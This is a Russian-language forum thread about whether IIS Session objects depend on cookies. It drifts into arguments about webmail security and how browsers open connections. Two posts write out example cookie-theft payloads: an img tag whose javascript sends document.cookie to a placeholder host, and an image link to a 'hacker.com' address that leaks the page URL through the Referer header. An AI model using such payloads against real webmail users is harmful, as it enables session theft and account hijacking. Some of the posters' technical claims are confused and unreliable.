Правда или нет что объект Session в IIS работает через cookie?

А вот скажите - правда или нет что объект Session в IIS работает через cookie?

0

Напримемре дырявых почтовых служб :
все что нам нужно так это что бы у клиента при открытии
письма нарисовался следующий <img id = X src='javascript:X.src = 'www.pp.rr.cc?data=' + document.cookie + '&data2=' & document.location'>

www.pp.rr.cc считает данные и отрисует картинку.

Это я от балды написал , но идея примерно такая

0

Конечно не идиоты сидят и в Sun и Microsoft/
Но согласитесь что не просто так постоянно выходят обнавления.
Да и за всем не уследишь. Поэтому я придерживаюсь мнения -
нашел чего, оповести производителя.

0

2 AmbX:
совеременные почтовые службы такие от таких ходов давно защищены

0

А то я гляжу - чего это я тут
уже на 4-ю страницу форума распинаюсь, а они оказывается защещины.
И давно ?

0

2 AmbX:
можно даже проще, без javascript, просто ссылка на картинку
при запросе будет посылаться http referer, c document.location
<img src=http://www.hacker.com/gif.gif>

но от этого, тоже нашли способ, все внешние ссылки идут сначала через сервер почтовой службы

<img src=http://www.yahoo.com?url=http://www.hacker.com/gif.gif>

0

А так не пройдет потаму что на картинку открывается
новое соединение в свободном потоке. Это соединение причем не является
дочерним (т.е. не наследует права радителя)

0

почему новое соединение?
в современных браузерах и веб-серверах не открывается.
и для чего ему права наследовать?

0

Вы вероятно заметели что каждый IMG IFRAME APPLET .....
загружается в своем потоке и в своем соединении. Т.е. загрузка одного IMG не влияет на главный поток обработки сообщений, они загружаются паралельно.
А почему так - потаму что оно действительно работает именно так.
Каждый контролл отвечает за себя сам: сам себя рисет , подгружает.

Новое соединение не получает прова паралельного соединения. Права передаются на уровне приложений Браузеров , а не соединений.

0

Да и еще потаму что если поставить перехват на
cетевые WIN API то сразу станет видно сколько соединений открывается при запросе на 1 - URL и что каждое из них гоняет в HTTP загаловке.

0

На счет прав Вы меня не допоняли.
Я имел ввиду что права не наследуются потаму что их не зачем наследовать.
Права - достаточно условно, на низком уровне: в HTTP не гонится общая служебная информация родителя.

0

2 AbmX:
>>Вы вероятно заметели что каждый IMG IFRAME APPLET .....
>>загружается в своем потоке и в своем соединении.
нет, не замечал, что еще за потоки?

уже давно для браузера есть пул соединений и далеко не для каждой картинки открывается свое соединение. Есть такой заголовок Keep-Alive называется, который и определяет убивать соединение или оставить.

всякие права родительских и дочерних потоков, значения не имеют

0

Ну раз уж вы завели разгавор сами
то рекомендую обратиться за документацией по теме
Keep-Alive with Worker Thread.
А также обратить внимание на то что Keep-Alive поддерживается большинством браузеров и серверов.

Надеюсь вопросы об открытии соединений в свободных потоках
Вам станет немного яснее.

0

Опечатался :

Keep-Alive НЕ поддерживается большинством браузеров и серверов.

0

а зачем мне обращать внимание на открытие соединений в свободных потоках? разве это влияет на то, какие http заголовки передаются? нет, не влияет.

А метод взлома с картинкой на другом сервере многократно описан в литературе по безопасности.

Keep-Alive поддерживают Apache и IIS, IE, Netscape, Mozilla, Opera
так что вполне достаточно

0

Боюсь мне долго придется обьеснять как это работает.
И придется видимо с самого начала.
Поэтому я решил закрыть обсуждение этой темы, за ее бесполезностью.

На счет взлома - я вам елементарный пример , а вы мне говорите что
это давно закрытая дыра. Не понимаю Вам не достаточно идеи ?
Или может хотите описание еще не закрытой дыры, так я вам его не дам.
Глубже надо мыслить. Когда есть идея , можно найти много способов ее реализации.

Спасибо за дискуссию, надеюсь ни кто не устал.

0

>>Боюсь мне долго придется обьеснять как это работает
что это-то?

>>На счет взлома - я вам елементарный пример , а вы мне говорите что это давно закрытая дыра.
То что, вы знаете методы взлома почты с веб-интерфейсом это очень хорошо. С другой стороны, кто их сейчас не знает... Вот вы этот свой пример для чего привели-то?

Что с куки, что без них пользователям нужны услуги почты с веб-интерфейсом. А производитель должен обеспечить защиту его учетной записи. Если бы можно было обойтись только одной веб-страничкой для организации подобной услуги, тогда сессии бы не понадобились. Но пользователю нужен достаточно богатый интерфейс, он переходит со страницы на страницу, оставаясь при этом 'внутри' одного приложения.
Так что без сессий, т.е. 'отслеживания' пользователя не обойтись.
Тоже самое во многих других веб-приложениях.

Отключение же пользователем у себя куки вовсе не обеспечивает ему защиту, для этого проще совсем не подключаться к сети и не пользоваться веб-почтой.

Пользователь отключает у себя куки, не потому что не хочет иметь сессий - он про них может и не слышал. Он хочет защитить свою приватность. При этом как водится с водой выплескивают и ребенка.
Если постоянный куки - действительно, в некотором роде, зло, то сессионные - непостоянные куки вполне полезны, а вот много информации о пользователе из них не почерпнешь

0

Если в Securiry настройках отключить Session-Cookies - то переменные Session не сохраняются, то есть они работают через cookies. Есть пункт в IE: Tools-->Internet Options-->Security-->Custom Level и там Allow per-session cookies должно быть Enabled. Иначе Session не работает.

0

to alex78rus:
явнo ты не читaл предыдущие 4 стрaницы пoстoв, уже всё рaзжевaли 10 рaз и выплюнули